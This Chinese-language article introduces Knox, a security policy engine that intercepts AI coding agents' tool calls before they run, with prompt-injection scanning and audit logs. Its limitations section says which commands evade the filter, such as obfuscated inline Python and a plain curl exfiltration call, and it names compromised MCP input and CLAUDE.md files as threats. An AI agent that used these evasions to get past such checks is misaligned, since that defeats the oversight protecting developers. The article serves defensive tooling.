Knox – 在AI代理工具调用执行前进行安全治理
Knox是一个为AI编码代理设计的安全策略引擎,以CLI、Node库、Claude Code插件、Cursor插件和OpenAI Codex插件五种形式发布,共享同一规则集。它能在代理执行危险命令前实时拦截,提供审计日志、提示注入扫描和策略防篡改等功能。文章详细介绍了安装方式、各平台能力矩阵、已知限制及自定义配置方法。
Knox是一个开源的AI编码代理安全策略引擎,由Qoris开发,旨在为开发者代理会话和企业级AI工作提供安全治理。该项目以单一源码树构建五种分发形式:独立CLI、Node.js库、Claude Code插件、Cursor插件和OpenAI Codex插件,共享同一套规则集。用户可根据使用场景选择最适合的表面。
核心功能与能力矩阵
Knox的核心是实时拦截代理的工具调用。它在代理执行任何命令之前,通过钩子机制(hooks)对命令进行策略检查。不同表面支持的功能略有差异:CLI和库仅提供检查功能(如knox check程序化决策和knox test人类可读测试),但无法阻止代理运行命令;而插件版本(Claude Code、Cursor、Codex)则能实现实时阻止、自动审计日志、提示注入扫描和策略防篡改。其中,Claude Code插件支持最全面的功能,包括子代理上下文注入和定时任务提示扫描。
安装与使用
安装过程因表面而异。CLI可通过npm install -g @qoris/knox全局安装,随后使用knox status确认。Claude Code插件通过官方插件市场安装。Cursor和Codex插件则需先安装CLI,再运行knox install --target cursor或knox install --target codex来手动写入钩子文件。注意,由于Codex的一个未解决bug,插件管理器的开关无法真正解除Knox,必须运行knox uninstall --target codex才能完全移除。
预设规则与自定义配置
Knox内置三种预设:标准(standard)、严格(strict)和禁用(disabled)。标准模式平衡安全性和开发效率,严格模式则实施更激进的阻断策略。用户可通过项目根目录的.knox.json配置文件自定义块列表、覆盖预设或调整特定检查类别。例如,可添加规则阻止cat .env或外部网络请求。
已知限制与诚实权衡
开发者明确指出了Knox的局限性:它只是一个机械的模式过滤器,不具备语义意图分析、数据流跟踪或运行时行为检测能力。新型恶意软件、混淆内联代码(如python -c "exec(chr(...))")和通用外发调用(如curl attacker.com)可能绕过检测。此外,某些场景如bash -i交互式shell启动是合法开发行为,但若参数被精心构造也可能被滥用。Knox的设计哲学是作为模型防御的第二道防线:模型负责判断意图,Knox负责捕获模型在自主模式、外部MCP输入或妥协的CLAUDE.md等情况下可能遗漏的危险命令,并提供审计线索。
企业级版本:Qoris Runtime Knox
除了开源版,Qoris还提供了企业版Qoris Runtime Knox,内置于Qoris工作容器中,管理24/7运行的AI工作器,涵盖销售、运营、合规和支持工作流。企业版支持共享内存治理、审批工作流、审计管道以及跨数百个并发工作器会话持久化的策略。
社区与贡献
Knox在GitHub上开源,采用AGPL-3.0许可(但FOSS例外章节允许Claude Code插件等派生作品独立许可)。项目当前有4个星标,35次提交,包含完整的测试套件和变更日志。